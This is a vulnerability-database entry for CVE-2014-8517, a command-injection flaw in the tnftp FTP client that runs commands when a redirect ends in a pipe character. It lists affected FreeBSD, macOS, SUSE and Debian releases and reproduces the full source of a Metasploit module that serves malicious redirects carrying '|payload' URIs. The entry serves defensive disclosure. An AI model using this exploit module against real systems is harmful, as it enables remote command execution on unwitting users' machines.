CVE-2014-8517

high
Published 2014-11-17 ยท Modified 2026-05-06
CVSS v3
โ€”
CVSS v4 NEW
โ€”
not yet in upstream
VIR risk
8.5

Description

The fetch_url function in usr.bin/ftp/fetch.c in tnftp, as used in NetBSD 5.1 through 5.1.4, 5.2 through 5.2.2, 6.0 through 6.0.6, and 6.1 through 6.1.5 allows remote attackers to execute arbitrary commands via a | (pipe) character at the end of an HTTP redirect.

Predictions

Exploit likelihood
55%
Patch ETA
โ€”

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ€” if you've already worked around this in production โ€” publish your fix to the community-verified tier.

โœš Propose a mitigation on Community โ†’ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-35427 remote bsd
dash ยท 2014-12-02

tnftp (FreeBSD 8/9/10) - 'tnftp' Client Side

Source code queued for fetch โ€” refresh in a moment.
EDB-43112 remote unix verified ruby ยท 2 KB
Metasploit ยท 2017-11-03

tnftp - 'savefile' Arbitrary Command Execution (Metasploit)

ruby exploit Source: Exploit-DB
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpServer
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'tnftp "savefile" Arbitrary Command Execution',
      'Description' => %q{
        This module exploits an arbitrary command execution vulnerability in
        tnftp's handling of the resolved output filename - called "savefile" in
        the source - from a requested resource.

        If tnftp is executed without the -o command-line option, it will resolve
        the output filename from the last component of the requested resource.

        If the output filename begins with a "|" character, tnftp will pass the
        fetched resource's output to the command directly following the "|"
        character through the use of the popen() function.
      },
      'Author' => [
        'Jared McNeill', # Vulnerability discovery
        'wvu' # Metasploit module
      ],
      'References' => [
        ['CVE', '2014-8517'],
        ['URL', 'http://seclists.org/oss-sec/2014/q4/459']
      ],
      'DisclosureDate' => 'Oct 28 2014',
      'License' => MSF_LICENSE,
      'Platform' => 'unix',
      'Arch' => ARCH_CMD,
      'Privileged' => false,
      'Payload' => {'BadChars' => '/'},
      'Targets' => [['ftp(1)', {}]],
      'DefaultTarget' => 0
    ))
  end

  def on_request_uri(cli, request)
    unless request['User-Agent'] =~ /(tn|NetBSD-)ftp/
      print_status("#{request['User-Agent']} connected")
      send_not_found(cli)
      return
    end

    if request.uri.ends_with?(sploit)
      send_response(cli, '')
      print_good("Executing `#{payload.encoded}'!")
      report_vuln(
        :host => cli.peerhost,
        :name => self.name,
        :refs => self.references,
        :info => request['User-Agent']
      )
    else
      print_status("#{request['User-Agent']} connected")
      print_status('Redirecting to exploit...')
      send_redirect(cli, sploit_uri)
    end
  end

  def sploit_uri
    (get_uri.ends_with?('/') ? get_uri : "#{get_uri}/") +
      Rex::Text.uri_encode(sploit, 'hex-all')
  end

  def sploit
    "|#{payload.encoded}"
  end
end

Metasploit modules

tnftp "savefile" Arbitrary Command Execution
Source fetch failed: fetch_error โ€” view the original via the link above.

OS impact

freebsd FreeBSD Affected 21 releases
VersionStatusFixed in
6.1.5 Affected โ€”
6.1.4 Affected โ€”
6.1.3 Affected โ€”
6.1.2 Affected โ€”
6.1.1 Affected โ€”
6.1 Affected โ€”
6.0.6 Affected โ€”
6.0.5 Affected โ€”
6.0.4 Affected โ€”
6.0.3 Affected โ€”
6.0.2 Affected โ€”
6.0.1 Affected โ€”
6.0 Affected โ€”
5.2.2 Affected โ€”
5.2.1 Affected โ€”
5.2 Affected โ€”
5.1.4 Affected โ€”
5.1.3 Affected โ€”
5.1.2 Affected โ€”
5.1.1 Affected โ€”
5.1 Affected โ€”
macos macOS Affected 4 releases
VersionStatusFixed in
10.9.5 Affected โ€”
10.8.5 Affected โ€”
10.10.1 Affected โ€”
10.10.0 Affected โ€”
suse SUSE Affected 1 release
VersionStatusFixed in
โ€” Affected โ€”
debian Debian Fixed 5 releases
VersionStatusFixed in
trixie Fixed 20130505-2
sid Fixed 20130505-2
forky Fixed 20130505-2
bullseye Fixed 20130505-2
bookworm Fixed 20130505-2

References

CWEs

CWE-77

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.